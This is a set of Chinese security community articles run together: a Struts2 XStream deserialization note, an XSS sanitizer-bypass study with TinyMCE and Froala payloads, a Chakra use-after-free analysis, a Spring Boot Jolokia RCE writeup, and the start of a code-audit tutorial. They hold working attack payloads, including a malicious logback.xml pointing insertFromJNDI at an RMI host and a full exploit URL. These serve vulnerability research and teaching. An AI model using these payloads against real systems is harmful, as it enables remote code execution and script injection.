本次漏洞，最开始的poc生成是利用marshalsec工具生成ImageIO的远程代码序列化对象，这个poc适用的环境是 **java1.8** 以上，
**这是个非常苛刻的条件** 。
然而有没有在其他版本java的利用代码呢，答案是有的。因为漏洞的本质是反序列化漏洞，而反序列化工具ysoserial提供了大量的反序列化代码。通过查看marshalsec工具生成XStream的代码，发现利用下面代码再结合ysoserial工具的代码，即可生成更多的利用代码。
public class XStream extends MarshallerBase<String> implements CommonsConfiguration, Rome, CommonsBeanutils, ServiceLoader, ImageIO,BindingEnumeration, LazySearchEnumeration, SpringAbstractBeanFactoryPointcutAdvisor, SpringPartiallyComparableAdvisorHolder, Resin, XBean {
@Override
public String marshal ( Object o ) throws Exception {
com.thoughtworks.xstream.XStream xs = new com.thoughtworks.xstream.XStream();
return xs.toXML(o);
}
@Override
public Object unmarshal ( String data ) throws Exception {
com.thoughtworks.xstream.XStream xs = new com.thoughtworks.xstream.XStream();
return xs.fromXML(data);
}
@Override
public Object makeComparatorTrigger ( Object tgt, Comparator<?> cmp ) throws Exception {
return JDKUtil.makePriorityQueue(tgt, cmp);
}
public static void main ( String[] args ) {
new XStream().run(args);
}
}
利用 **commons.collections** 和 **XStream** 可以生成在 **java1.7** 环境下稳定利用的poc。
利用中，执行的代码为：
touch /tmp/manning_s2_052
生成利用的代码暂不公开。
之前我在微博说利用可能达到 **11**
种，这个说法现在来看不准确，理论上marshalsec和ysoserial和SerialKillerBypassGadgetCollection的反序列化利用代码可以在本次的漏洞使用，因此本次漏洞的利用的变化是非常大的。
**0x03 漏洞防御**
由于漏洞利用变化极大，建议 **暂时关闭有REST插件的Struts2站点** 。
**0x04 参考内容**
<https://0bin.net/paste/xI3qQXBnBFi+ZIC6#y151P6VdT9DXPOBqgQviWRECRnW6+gSuK+frvsnAfZy>
<http://bobao.360.cn/learning/detail/4372.html> | 社区文章 |
通过使用基于HTML解析逻辑的特殊HTML标签，可以实现跨站脚本（XSS）攻击，即使在使用词法解析器过滤危险内容的情况下也是如此。利用这些类型的XSS漏洞的主要目标，就是让净化型词法解析器将数据视为文本数据，而不是计算机指令（例如，JavaScript指令）。当HTML解析器和净化型词法解析器没有以相同的方式解析数据时，就有可能导致这种类型的攻击。
## 关键概念介绍
注意：对本文来说，我们假定读者已经接触过XSS（更准确的说是JavaScript注入）方面的知识，并且对HTML有基本的了解。要想了解更多的入门知识，请参阅我们的XSS概述[文章](https://labs.bishopfox.com/industry-blog/what-is-xss-an-overview "文章")。
## 针对XSS漏洞的保护措施
实际上，针对XSS漏洞的保护措施有多种形式。比如，早期的防御措施，就是利用正则表达式（regex）来检查用户输入的“危险”字符串。一个简化的例子是，如果用户提供的输入包含`<script>`，那么，就通过正则表达式找到该字符串并将其删除。然而，这种基于正则表达式的XSS保护措施经常出现失误，因为可以通过各种方法构造出能够顺利绕过正则表达式的JavaScript代码串。对于上面的例子来说，只需将`<script>`中的一个字母变为大写（如`<scRipt>`），就可以绕过这种过滤器，从而导致XSS攻击。因此，我们不建议使用正则表达式过滤器来防御XSS。
所以，让我们来谈谈更好的解决方案。上下文输出编码是另一种XSS保护形式，它会将特殊字符（如“<”和“>”）转化为无害的HTML编码输出（例如，“`<`”和“`>`”）。这种形式的保护将用户的输入放在源文件中，以确保所有可能导致JavaScript执行或HTML渲染的JavaScript或HTML可用字符都转换为不危险的HTML实体编码形式。这是处理在应用程序中呈现的用户输入的好方法；事实上，许多现代前端框架都会默认进行输出编码（例如，ReactJS和Angular）。然而，这种形式的保护会对应用程序施加某些限制，也就是禁止用户使用某些支持富文本的HTML特性。
如果用户需要支持某些HTML特性，如图片、链接和富文本等，那该怎么办呢？这就是词法解析发挥作用的地方。
## 通过词法解析防御XSS攻击
词法解析是一种非常复杂的XSS防御手段，因为它在执行额外的逻辑（如对数据进行分块或编码）之前，会评估数据是指令还是明文。抽象的说，词法解析可以被描述为将用户数据（即不危险的文本内容）与计算机指令（即JavaScript和某些危险的HTML标签）分离开来的过程。在想让用户使用HTML子集的情况下，这种类型的解析可以用来确定哪些是允许的内容，哪些将被阻止或过滤掉。
上面所说的想让用户使用的HTML子集的例子，包括富文本编辑器、电子邮件客户端、What-You-See-Is-What-You-Get（WYSIWYG）HTML编辑器，如TinyMCE或Froala，以及DOMPurify等净化库。在这些例子中，这种形式的词法解析保护是非常常见的。
然而，当HTML解析器和净化型词法解析器不是以完全相同的方式处理数据时，就可以将词法解析作为一种XSS保护形式。这篇文章主要讨论在某些情况下，尽管有复杂的保护措施，但仍有可能通过利用HTML解析逻辑来欺骗词法解析器，注入JavaScript代码。为了了解如何利用这些XSS问题，我们必须首先考察HTML是如何解析的；数据处理过程中的注意事项和特殊情况；以及净化型解析器是如何工作的。
## 数据是如何流经HTML解析器的
要了解我们如何在一个对HTML输入应用词法解析的应用程序中实现XSS攻击，我们首先必须看看HTML是如何被解析的，以及如何确定内容是数据还是指令。下图展示的是HTML解析器的操作顺序：
现在，我们对这些步骤简单加以说明：
* 网络阶段：这个阶段指的是将输入作为字节传输给解析器。
* 分词器阶段：分词是进行词法解析的地方。解析器将把文本数据与计算机指令分开。要做到这一点，分词器将根据它遇到的元素在数据状态之间切换上下文，并将值作为单词返回。这将在“上下文状态”部分详细介绍。
* 树形结构阶段：从分词器阶段返回的单词被放置在一个树形结构中；每个树形分支都被称为一个节点。为了更清楚地了解它们在实践中到底是什么样子的，让我们来看看下面的HTML片段：
<!DOCTYPE html>
<body>
<div>
Hello World
<a href=https://bishopfox.com>Example</a></div>
</body>
下图显示了这在文档对象模型（DOM）树状结构中的样子。
作为攻击者，他们的目标是在HTML解析的这个阶段控制节点。正如我的导师Joe
DeMesy曾经向我描述的那样，如果你能控制一个节点的上下文和内容，就能发动XSS攻击。
* 脚本执行阶段：这个阶段是指通过JavaScript代码修改DOM的时候。关于这个阶段的其他细节不在本文的讨论范围之内。
* DOM阶段：构建文档对象模型的处理的最终状态。
现在，我们已经对数据如何在HTML解析过程中流动以及信息如何组织有了一个高层次的理解，这将在漏洞利用过程中发挥重要作用。
## HTML解析器的上下文状态
在分词阶段，HTML解析器将把HTML元素分为不同类别的数据状态，称为“上下文状态”。HTML规范中列出了上下文状态的切换元素，具体如下：
可以将HTML解析器的分词阶段的状态设置为：
title
textarea
将分词器切换为RCDATA状态。
style
xmp
iframe
noembed
noframes
将分词器切换为RAWTEXT状态。
script
将分词器切换为脚本数据状态。
noscript
如果启用了scripting标签，则将分词器切换到RAWTEXT状态。否则，让分词器留在数据状态。
plaintext
将分词器切换为PLAINTEXT状态。
其他元素
让分词器处于数据状态。
下面介绍这些上下文状态在实践中的样子。
**RCDATA示例：**
输入：
<textarea><img src=x></textarea>
输出：
<textarea>&alt;img src=x></textarea>
输出内容的快照：
DOM树：
**RAWTEXT示例**
输入：
<xmp><img src=x></xmp>
输出：
<xmp><img src=x></xmp>
输出的屏幕截图：
DOM树：
**数据示例：**
输入：
<img src=x>
输出：
<img src=x>
输出内容的快照：
DOM树：
请注意，数据状态是唯一试图加载图像的状态。这是因为数据是一种计算机指令，而不是简单的文本数据。
重点提示：提供的不同元素可以通过切换数据的上下文状态来改变这些元素中数据的解析和呈现方式。
## 命名空间：外来内容以及利用意外的行为
浏览器的HTML解析器不仅可以理解HTML；它还可以在三种不同的命名空间之间切换：HTML、MathML和SVG。
在HTML解析过程中，如果遇到`<svg>或<math>`命名空间元素（标签），解析器会将上下文切换到相应的命名空间。这种上下文切换对我们来说意味着解析器不再作为HTML进行解析，而是作为MathML或SVG进行解析。
当HTML被嵌入到MathML/SVG中时，这种命名空间的上下文切换会导致意想不到的行为，因为每个命名空间都有自己独特的元素，解析方式也略有不同。作为渗透测试人员，我们可以在某些情况下利用这种逻辑把解析器搞蒙圈，从而浑水摸鱼发动XSS攻击。
这里有一篇关于如何绕过DOMPurify的文章，其中对命名空间的混淆进行了更深入的研究，包括前沿的研究和一个很棒例子。
重点提示：当HTML解析器遇到MathML或SVG元素时，会将上下文切换到独立的命名空间，这可以用来让解析器产生混淆。
## 净化型词法解析器的工作流程
为了利用净化型词法解析器，我们需要了解其工作的流程；概括来说，主要流程如下所示：
* 用户提供的数据被浏览器的HTML解析器解析为HTML。
* 词法解析器对数据进行分析和过滤。
* 浏览器的HTML解析器再次对数据进行解析。
这个流程如下图所示：
攻击的目的就是提供相应的HTML来欺骗净化解析器，使其相信所提供的输入是无害的文本数据（RCDATA、PLAINTEXT或RAWTEXT），而它实际上是计算机指令（数据状态）。这通常是可能做到的，原因有多个：HTML的设计之初，并没有考虑到需要解析两次；在最初的HTML解析器和解析解析器之间可能会出现细微的解析差异；净化解析器通常会实现自己的处理逻辑。
## 测试案例1： TinyMCE XSS
TinyMCE是一个“所见即所得”（WYSIWYG）的HTML文本编辑器和JavaScript库。它通常包含在第三方网站中，提供文本编辑功能，包括HTML文本。
CVE-2020-12648（TinyMCE中的XSS漏洞）是由George
Steketee和我发现的；在这里，它将作为一个测试案例，演示在使用净化型解析器的情况下，如何利用HTML解析警告来发动XSS攻击。按照TinyMCE的介绍，XSS是通过以下payload实现的：
<iframe><textarea></iframe><img src="" onerror="alert(document.domain)">
这个payload之所以能够成功，因为在分词和DOM树构造阶段有一个安全问题。准确来说，当HTML被词法解析器重新解析时，它在分配上下文状态之前没有正确考虑到元素的顺序。
`<iframe>`元素导致上下文状态切换为RAWTEXT，这意味着`iframe`后面的数据被认为是没有危害的，不需要进行过滤处理。这种上下文切换在`</iframe>`的关闭标签处结束。然而，`<textarea>`元素也会令解析器切换到RCDATA上下文，即另一种形式的非危险文本数据。当HTML解析器处理`iframe`元素时，切换到RCDATA的上下文的指示就包含在这些元素中。这种包含是TinyMCE解析器没有意识到的。
当进行上述解析时，TinyMCE解析器实际上并没有考虑正确的操作顺序和上下文切换问题。因此，HTML解析器最终生成的DOM树如下所示：
以上是TinyMCE的解析器“看走眼的”结果，实际的数据是这样的：
请注意，具有活动内容onerror事件的img元素位于DOM树的文本上下文中；当进行词法解析时，这将被视为没有危害的，不会被剥离或进行编码处理。由于textarea元素包含在iframe中，而img元素实际上并不在textarea元素中。因此，活动内容（JavaScript）将被执行，从而实现XSS。
## 测试案例2：Froala XSS
Froala是一个所见即所得（WYSIWYG）的HTML文本编辑器和JavaScript库，其功能与TinyMCE类似。对于第二个测试案例，我们将审查作为这项研究的一部分而发现的一个XSS漏洞（CVE-2021-28114）。在这个CVE的公告中，详细介绍了如何使用以下payload实现XSS：
<math><iframe><!--</iframe><img src onerror=alert("XSS")>
在功能方面，这个payload与测试案例1中讨论的TinyMCE
XSS相同，但有一点需要注意：进入MathML命名空间虽然会导致解析混乱，但是，这并不足以让Froala的解析器彻底蒙圈。然而，由于Froala的解析器并不理解MathML命名空间的标签，因此，它会丢弃这些标签，并继续解析其余的内容。这样的结果是：对于HTML解析器创建的节点来说，其payload被限制为文本数据，具体如下面的树结构所示：
然而，由于Froala的解析器遗漏了`<math>`元素，所以，它仍然会错误地将img元素的payload视为一个没有任何危害的注释。当JavaScript
payload被最后阶段的HTML解析器处理并放入DOM时，它将会：
其结果是，XSS payload将得到执行。通过检查相应的源代码，可以进一步看清这一点：
<iframe><!--</iframe>
<img src="" onerror="alert("XSS")" style="" class="fr-ficfr-dii"> -->
Froala解析器删除了`<math>`元素，并添加了一个`-->`来结束它所认为的注释。最后阶段的HTML解析器将开头的注释视为是`iframe`元素中的，并将Froala解析器添加的、用于结束注释的元素设置为RCDATA状态，而不是把它看作一个有效的结束标签，其结果是主动内容得以执行（XSS）。
## 预防措施
当实现允许用户控制某些HTML元素的应用程序时，避免这些类型的错误的关键是，让HTML的解析结果尽可能地接近其本意。在这样做的时候，重要的是要考虑到元素的顺序和嵌入元素的上下文。如果HTML解析器对一个节点的看法与净化型解析器对一个节点的看法存在差异，那么在词法解析中就会出现这些XSS问题。当不需要MathML和SVG命名空间元素时，最好将其列入黑名单，并将包含这些元素的请求全部丢弃（即不要继续将数据写入DOM）。
对于那些不创建这些类型的解决方案，而是将它们纳入其应用程序的组织来说，一个好的补丁策略能在很大程度上缓解这种漏洞。同时，我们建议大家经常检查这些库的最新版本，并定期给它们打补丁。
除了代码/应用层面的安全防御措施外，企业还应在应用程序中实施内容安全策略（CSP）。一个定义良好的CSP可以在浏览器定义的层面上阻止JavaScript注入，从而创建一种深入防御的安全态势。此外，CSP应避免某些危险的指令，如unsafe-inline或unsafe-eval，因为这些指令可以执行用户定义的内联JavaScript代码。关于CSP的更多信息，请参考这篇内容丰富的[文章](https://content-security-policy.com/ "文章")。
## 小结
即使对输入进行了词法解析，XSS仍有可能通过利用HTML解析和重新解析时的漏洞来实现，无论使用的是何种净化库。在测试这种类型的XSS时，我建议用各种命名空间和上下文切换元素对输入进行模糊测试处理，记录所有可疑的结果，并根据这些结果进行相应的处理。
## 参考资料
Whatwg - HTML Specification
<https://html.spec.whatwg.org/multipage/parsing.html>
W3 – HTML Parser Working Draft
<https://www.w3.org/TR/2011/WD-html5-20110525/tree-construction.html>
Securitum - DOM Purify Bypass
<https://research.securitum.com/mutation-xss-via-mathml-mutation-dompurify-2-0-17-bypass/>
Bishop Fox – TinyMCE v5.2.1 Advisory
<https://labs.bishopfox.com/advisories/tinymce-version-5.2.1>
Hixie – DOM Tree viewer
<https://software.hixie.ch/utilities/js/live-dom-viewer/>
Techopedia – Lexical Analysis Defined
<https://www.techopedia.com/definition/8051/lexical-analysis>
PortSwigger – Preventing XSS
<https://portswigger.net/web-security/cross-site-scripting/preventing>
OWASP – Contextual Output encoding
<https://owasp.org/www-project-proactive-controls/v3/en/c4-encode-escape-data>
Mozilla – Content Security Policy
<https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP>
CSP – CSP details
<https://content-security-policy.com/>
原文地址：<https://labs.bishopfox.com/tech-blog/lexss-bypassing-lexical-parsing-security-controls> | 社区文章 |
# Edge Inline Segment Use After Free漏洞分析
##### 译文声明
本文是翻译文章，文章原作者 Qixun Zhao，文章来源：projectmoon.pw
原文地址：<https://blogs.projectmoon.pw/2018/09/15/Edge-Inline-Segment-Use-After-Free/>
译文仅供参考，具体内容表达以及含义原文为准。
Author:Qixun Zhao(aka @S0rryMybad && 大宝) of Qihoo 360 Vulcan Team
在今个月的微软补丁里,修复了我报告的4个漏洞,我将会一一讲解这些漏洞.因为我写的这些文章都是用我的空余时间写的,因为每天还有大量的工作和需要休息,而且这个博客也是一个非公的私人博客,所以我不能保证更新的时间.
这篇文章讲的是CVE-2018-8367,大家可以从这里看到这个bug的[patch](https://github.com/Microsoft/ChakraCore/commit/dd5b2e75e7aebe67b5185383080c0648f5353ea0).
这是一个品相非常好的UaF,所以利用起来比较简单.同时这也是JIT中一个比较特别的漏洞,因为它需要其他模块的配合,希望能为大家以后寻找JIT漏洞的时候带来一些新思考
测试版本:chakraCore-master-2018-8-5 release build(大概是这个日期下载的就可以了)
## 关于Chakra的垃圾回收(GC)
要找到chakra中的UaF漏洞,首先需要了解chakra引擎的gc是怎么执行的.简单来说,chakra用到的gc算法是标记-清除(mark-sweep)算法,更详细的细节我推荐大家可以看看[<<垃圾回收的算法与实现>>](https://item.jd.com/12010270.html).
这个算法的核心在于有一堆需要维护的根对象(root),在chakra中根对象主要包括显式定义的脚本变量(var/let/const)还有栈上和寄存器的变量.算法从根对象开始扫描,并且递归扫描他们中的子对象(例如array对象中的segment就是array的子对象),直到遍历完所有的根对象和子对象.标记阶段完成后,如果没有标记的对象就是代表可以释放的,这时候内存管理器就会负责回收这些对象以用来以后的分配.
Chakra的gc算法主要有两个缺陷,第一是没有区分数字和对象,所以利用这个特性通过在栈上分配大量数字,然后通过侧信道攻击可以获得某个对象的地址.(这是我之前听过的一种攻击方法,不知道现在修补没有)
第二个缺陷在于,gc算法遍历子对象的时候,是需要知道父对象的大小的,不能越界遍历标记(例如父对象是array的时候,需要知道array的大小去递归标记).所以如果一个对象A中假如有一个指针指向另一个对象B的内部(非对象开始位置),A中的指针是不会执行标记操作的.假如除了对象A中的指针没有其他任何指针指向对象B,B对象是会被回收的.这样在A对象中就有一个B对象的悬挂指针(Dangling
Pointers).
寻找UaF漏洞的关键就在于是否能创造一个对象中存在一个指针,指向另一个对象内部,而一般能出现这种情况的对象是String和Array.以前出现的类似漏洞有:[CVE-2017-11843](https://github.com/Microsoft/ChakraCore/commit/14f44de6188e403161a3fa3850025d391150e278)
## Array Inline Segment 与Array.prototype.splice
在创建数组的时候,如果数组的size小于一定的值,数组的segment是会连着数组的meta
data,也就是保存数组数据的segment紧跟数组后面.内存布局如图所示:
let arr = [1.1,2.2,3.3,4.4,5.5,6.6];
Array.isArray(arr);
可以看到0x11c45a07700这个segment的地址是紧跟在array(起始地址0x11c45a076c0)后面,这样的情况称为inline
segment.
另一方面Array.prototype.splice这个接口是用来从一个数组删除一定数量的element,然后放到新创建的数组上,具体可以参看[MDN](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/splice)
这里chakra在处理splice这个runtime接口的时候,里面存在一个优化的模式,假如要删除的element的start和end刚好等于一个segment的start和end(如上图就是index[0]到[5]),就会把这个segment的地址直接赋值到新创建的数组中(function|ArraySpliceHelper|):
但是这里它需要避免把一个inline
segment整个移动到另一个array中,否则就会出现上文提到的那种情况,一个对象中有一个指针指向另一个对象的非开头位置.
而判断是否|hasInlineSegment|的逻辑就是:
检查head
segment的length是否少于|INLINE_CHUNK_SIZE|,这里是64.换句话说,现在如果我们要找一个UaF的漏洞,我们需要做的是创建一个head
segment的length大于64的array.
## JIT PLEASE HELP ME
要想得到这样的一个array是很不容易的,因为在很多创建array的函数中,他们都会检查要创建的大小是否大于64,如果大于64,则会把head
segment单独分配在另外一个buffer,不会再紧跟在array后面.
但是,一个chakra引擎是由很多很多人编写的,在我看来,编写JIT模块的人应该与runtime模块的人是不一样的,同样编写JIT的人会比较不熟悉runtime模块上的一些逻辑与细节.而在现实中,很多漏洞往往就是因为不同人员之间协同开发,导致一些跨模块的漏洞出现,这个漏洞就是典型的JIT开发人员不熟悉runtime模块导致.
在今年一月份修复CVE-2018-0776,开发人员引入了这个漏洞:
[patch](https://github.com/Microsoft/ChakraCore/commit/40e45fc38189cc021267c65d42ca2fb5f899f9de)和[GPZ
Report](https://bugs.chromium.org/p/project-zero/issues/detail?id=1420&can=1&q=owner%3Alokihardt%40google.com&colspec=ID%20Status%20Restrict%20Reported%20Vendor%20Product%20Finder%20Summary&desc=2)
由于JIT的开发人员不熟悉runtime的逻辑,不清楚在创建数组的时候headsegment的length不能大于64,导致打破了chakra中的一些惯例.我们可以看到|BoxStackInstance|中创建数组的时候,根本没有判断需要创建的head大小就直接创建了一个inline
segment array.(这里我们需要deepcopy为true才可以)
所以到底什么是BoxStackInstance,在什么情况下才能调用这个创建数组?
在JIT中,有一个优化机制叫做escape
analysis,用于分析一个变量是否逃出了指定的范围,假如一个变量的访问用于只在一个function里面,我们完全可以把这个变量当成局部变量,分配在栈上,在函数返回的时候自动释放.这样的优化可以减少内存的分配和gc需要管理的对象,因为这里对象的生命周期是和函数同步的,并不是由gc管理.
但是这里有一个问题,但是某些特殊情况下,我们需要把这个栈上的变量重新分配到堆上,这时候就需要调用BoxStackInstance重新创建对象.
情况一就是bailout发生的时候,因为需要OSR回到解释器层面执行,这时候就没有所谓的native函数栈概念,只剩下虚拟机的虚拟栈,否则对象会引用已释放的栈空间.这种情况deepcopy为false,并不满足我们的需要.
情况二就是通过arguments访问一个栈变量,因为arguments可能是一个堆对象,它是由gc管理的,它里面必定不能包含栈分配的对象.这时候deepcopy为true.
至此,漏洞的大概原理已经分析清楚.
## I WANT TYPE CONFUSION
通过上面的分析,我相信大家结合GPZ的case差不多已经知道如何构造poc了:
获得了这样一个evil array后,先转换成对象数组,然后我们用它来调用splice,把它的inline segment 赋值到另一个对象中:
然后把其他所有引用这个inline segment的array的对象全部清除掉,这时候这个带有inline
segment的array将会被回收,由于|evil|指向这个inlinesegment的pointer是指向这个array的内部,所以并不会影响这个array被回收
然后通过gc函数,对喷大量的float array,同时触发垃圾回收,这时候evil对象数组的segment区域将会被大量float array占据:
至此,我们已经成功将这个UaF的漏洞转成var array和float array的type
confusion漏洞,至于剩下怎么fake与leak,大家可以参考我们上一篇的blog,这里就不再重复了.
## 总结
这里的修复也很简单,就是利用BoxStackInstance重新创建数组的时候判断array是否inline segment
array,如果不是,则把head segment分配到另外的地方,以免影响splice里面|hasInlineSegment|的判断.
从这个案例我们可以知道,在一个庞大的项目开发的时候,往往由很多不同的人员开发,而他们往往对自己平时不接触的模块比较陌生,这样在打一些补丁或者修改代码的时候很可能会引入一些跨模块的漏洞.
除此以外,我们也可以想到,在查看JIT漏洞的时候,我们不能仅仅只盯着在JIT编译出来的代码或者把JIT独立出来思考,可能一些JIT的问题需要配合runtime或者其他模块才能形成一个完成的安全漏洞.这也为以后寻找JIT漏洞的时候带来一些新思路—-结合其他的模块思考.
Thank you for your time. | 社区文章 |
**作者：Lucifaer
博客：<https://www.lucifaer.com>**
前段时间看到twitter上有国外的研究人员[Exploiting Spring Boot
Actuators](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)这篇文章，打算跟着这篇文章学习一下。作者已经提供了一个[简单的demo](https://github.com/artsploit/actuator-testbed)用于大家调试。这篇是对`ch.qos.logback.classic.jmx.JMXConfigurator`这个利用点的分析，之后还会对rr找到的另外一个利用点进行分析。
### 0x01 什么是Spring Boot Actuator
Actuators（翻译过来应该叫做执行器，但是个人感觉意思并不准确）是Spring
Boot简化Spring开发过程中所提出的四个主要特性中的一个特性，它为Spring
Boot应用添加了一定的管理特性，可以说类似于一个“监控器”一样的东西。Spring Boot Actuator给Spring
Boot带来了很多有用的特性：
* 管理端点
* 获取应用信息的”/info”端点
* 合理的异常处理以及默认的”/error”映射端点
* 当启用`Spring Security`时，会有一个审计事件框架。
在这些特性中最有用的且最有意思的特性是管理端点，所有的管理节点都可以在`org.springframework.boot.actuate.endpoint`中找到。
在Spring Boot 1-1.4版本，这些端点都是可以直接访问的，不需要认证。在Spring Boot
1.5版本后除了`/health`和`/info`这两个端点，其他的端点都被默认的当做是敏感且安全的端点，但是开发人员经常会禁用此安全性，从而产生安全威胁。
### 0x02 Jolokia端点的大致运行流程
我们都知道Jolokia是一个用来访问远程`JMX
MBeans`的方法，它允许对所有已经注册的MBean进行Http访问。接下来直接看一下`JolokiaMvcEndpoint`这个端点的具体实现。
可以看到直接可以通过`/jolokia`来访问到该端点，`handle`方法用来处理请求：
可以跟一下路由处理流程，最后在`org.jolokia.http.HttpRequestHandler#handleGetRequest`这里处理get请求：
可以看到红框中通过`JmxRequestFactory`工厂函数来创建了一个`JmxRequest`类，之后执行这个类。在创建这个类的时候回根据get请求的路由来指定具体执行什么样的功能，也就是说请求的参数通过创建不同的`JmxRequest`类来实现不同的方法，那么我们只需要看一下`JmxRequest`的继承关系，看看它有什么继承类就能大致的知道它具备什么样的功能：
在继承类中我们发现存在`JmxWriteRequest`和`JmxExecRequest`这两个从名字来说让我们很兴奋的子类，我们知道`/jolokia/list`所执行的是`JmxListRequest`这个子类的功能，类比一下，`/jolakia/exec`就可以执行`JmxExecRequest`这个子类的功能。我们首先来具体看一下这个`JmxExecRequest`子类：
在翻阅代码的过程中我注意到了这里，如果你自己跟了一下`JmxRequest`的创建过程的话，就知道首先是根据将请求的路由进行解析，将`/`之后的第一个字符串作为类别在`CREATOR_MAP`中查找是否存在该类别，如果存在则调用`newCreate`方法创建`JmxRequest`。下图为`CREATOR_MAP`：
知道了`JmxRequest`的创建过程后，我们来看看它怎么用，这个时候需要跟进一下`executeRequest`方法。
遍历调度器，如果找到相应的调度器则调用调度器：
这里转交调度器中相应的请求处理方法来处理：
可以看到这里存在`invoke`方法最终会执行我们指定的类中的指定的方法，而指定的类以及指定的方法都是可以通过路由参数来设置的。那么这里是否可以随便设置一个类呢？如果你跟了一遍这个流程的话，你会发现这里你所指定的类是从MBeanServer中来寻找的，当找不到你所设置的类的话，会抛出异常：
所以也就是说必须要从`/jolokia/list`所展示的MBean中去寻找可以调用的类及方法。
### 0x03 构造请求路由
可以看到所有我们可控点都是通过构造合理的请求完成的，那么如果想要完成攻击的话，就必须知道如何构造合理的请求。
回到`handleGetRequest`这个方法中，我们现在需要仔细来研究一下它是如何把路由变成格式化的参数的，主要关注这两个部分：
这里面有很多正则解析的部分，我比较懒就下断点调了2333….
在动态调之前我们看一下`JmxExecRequest`的数据结构是什么样的：
注意看这段注释，这里会传入四个参数其中有两个参数是不能为空的：
* pObjectName：要执行操作的MBean的名称，不能为空
* pOperation：要执行操作的名称（方法的名称），不能为空
* pArguments：用于执行请求的参数，可以为空
* pParams：用于处理请求的可选参数
知道了数据结构，我们来看看具体的解析过程。
具体的解析过程在`JmxRequestFactory`这个工厂类中：
在`extractElementsFromPath`方法中完成了以`/`分割路由请求，并对路由进行处理的，其中最为重要的点在`split`方法中：
解析过程中最为重要的点在于两个正则表表达式：
* `(.*?)(?:(?<!!)((?:!.)*)/|$)`
* `!(.)`
这里利用`Pattern.matcher`的正则表达式分组支持的特性，可以为正则表达式提供多次匹配的支持。这里的可以看到当处理的路由中存在`1!/2`这样的情况时，可以保留`/`：
然后以此类推将路由以`/`分组，将每个组中的参数保存到一个`ArrayList`中，之后对这个数组进行校验，这里将数组中的第一个元素当做是`type`，在`(R)
getCreator(type)`根据此`type`在`CREATOR_MAP`中查找是否存在此方法：
存在的话则调用相应的`newCreator`方法动态创建一个`JmxRequest`对象。这里是`JmxExecRequest`：
可以看到这里将pStack的栈顶移除并将其依次设置成`pObjectName`、`pOperation`。分析到这里我们只需要指定这样的路由就可以调用我们想要调用的类和方法了：
jolokia/exec/class_name/function_name/params
### 0x04 寻找可以利用的点
根据上面两节的内容，我们现在可以控制`/exec`端点执行我们想让其执行的类中的方法，但是前提是这个类和方法必须在`/list`节点中存在。文章中说了一个`ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator`这个类，跟进看一下：
在`JMXConfigurator`这个类中发现存在一个`reloadByURL`方法，那是不是可以从远程加载一个新的配置文件从而造成RCE呢？感觉是有搞头的。那就着重看一下这个`reloadByURL`方法。
获取输入流，并作为参数执行`doConfigure`方法：
继续跟进:
这里开始解析xml文件，看一下是否有防护：
没有任何防护。也就是说这里是可以引入外部资源，同时解析xml文档的，那么这里起码就有一个ssrf，和一个没有回显的xxe。那么看一下这个所谓的JMX配置文件也就是`logback.xml`有没有什么可以搞的东西。在`logbacks.xml`中有这么一个标签：
这里把`env-entry-name`改为自己的服务器地址就能在目标机上执行任意代码。
### 0x05 poc构造
漏洞分析的话上面的一个章节已经说得非常清楚了，下面我们来探讨以下如何利用这个漏洞，如果想要利用该漏洞的话需要准备以下几个必备条件：
1. 一个N/D服务（RMI或者LDAP皆可）
2. 绑定在N/D服务上的恶意类
3. 一个恶意的logback.xml
4. 构造一个恶意请求
N/D服务以及恶意类绑定就不过多叙述了，可以看16年bh的演讲，恶意的logback.xml可以构造如下：
<configuration>
<insertFromJNDI env-entry-name="rmi://127.0.0.1:2000/Exploit" as="appName" />
<appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
<withJansi>true</withJansi>
<encoder>
<pattern>[%thread] %highlight(%-5level) %cyan(%logger{15}) - %msg %n</pattern>
</encoder>
</appender>
<root level="info">
<appender-ref ref="STDOUT" />
</root>
<jmxConfigurator/>
</configuration>
请求的话可以构造如下：
http://127.0.0.1:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1:9998!/logback.xml
效果如下：
### 0x06 Reference
* <https://www.veracode.com/blog/research/exploiting-spring-boot-actuators>
* <https://www.veracode.com/blog/research/exploiting-jndi-injections-java>
* <https://logback.qos.ch/manual/configuration.html#insertFromJNDI>
* <https://github.com/artsploit/actuator-testbed>
* * * | 社区文章 |
# 代码审计
## 概念
什么是代码审计？
代码审计是在一个编程中对源代码旨在发现错误、安全漏洞或违反编程约定的项目。
说人话就是找它这些代码中可能存在问题的地方，然后看它是否真的存在漏洞。(博主小白，可能存在问题，请见谅)
## 分类
代码审计的话大致分为三种，白盒、黑盒和灰盒
### 白盒测试
较为官方的定义
已知产品的内部工作过程，可以进行测试证明每种内部操作是否符合设计规格要求，所有内部成分是否经过检查。
其实这种测试的话就是你可以看到源代码，直接从代码中来看哪里可能出现问题，然后进行检测，此时你是知道内部结构的，测试相对黑盒测试会比较容易一点
### 黑盒测试
较为官方的定义
已知产品的功能设计规格，可以进行测试证明每个实现了的功能是否符合要求。
其实黑盒测试的话就是你只知道网页的大致结构，然后对各个功能开始检测，按自己的思路进行测试，比如看到留言界面，测试XSS，看到登录界面，测试SQL注入这种
### 灰盒测试
灰盒测试是介于白盒测试与黑盒测试之间，自己测试的同时结合代码来看。
一般代码审计的话都是类似于这种灰盒测试的。
# 如何代码审计
## 了解CMS结构
每个CMS都拥有数以百计的文件，这个时候我们该如何审，从哪里审呢，这个时候就要关注重要点，以这里的bluecms为例
这里有多个文件及文件夹，该从何入手呢，首先就从文件夹的名字入手，因为程序员在开发时一般不会随意起名，对应的文件夹名一般都是有作用的，例如这里的`install`就是安装目录，具体分类大致如下
> ├── admin 后台管理目录
> ├── install 网站的安装目录
> ├── api 接口文件目录
> ├── data 系统处理数据相关目录
> ├── include 用来包含的全局文件
> └── template 模板
同时它还有
(1)函数集文件，它的定义如下
这类文件通常命名中包含functions或者common等关键字，这些文件里面是一些公共的函数，提供给其他文件统一调用，所以大多数文件都会在文件头部包含到它们，寻找这些文件一个非常好用的技巧就是去打开index.php或者一些功能性文件，在头部一般都能找到。
(2)配置文件，它的定义如下
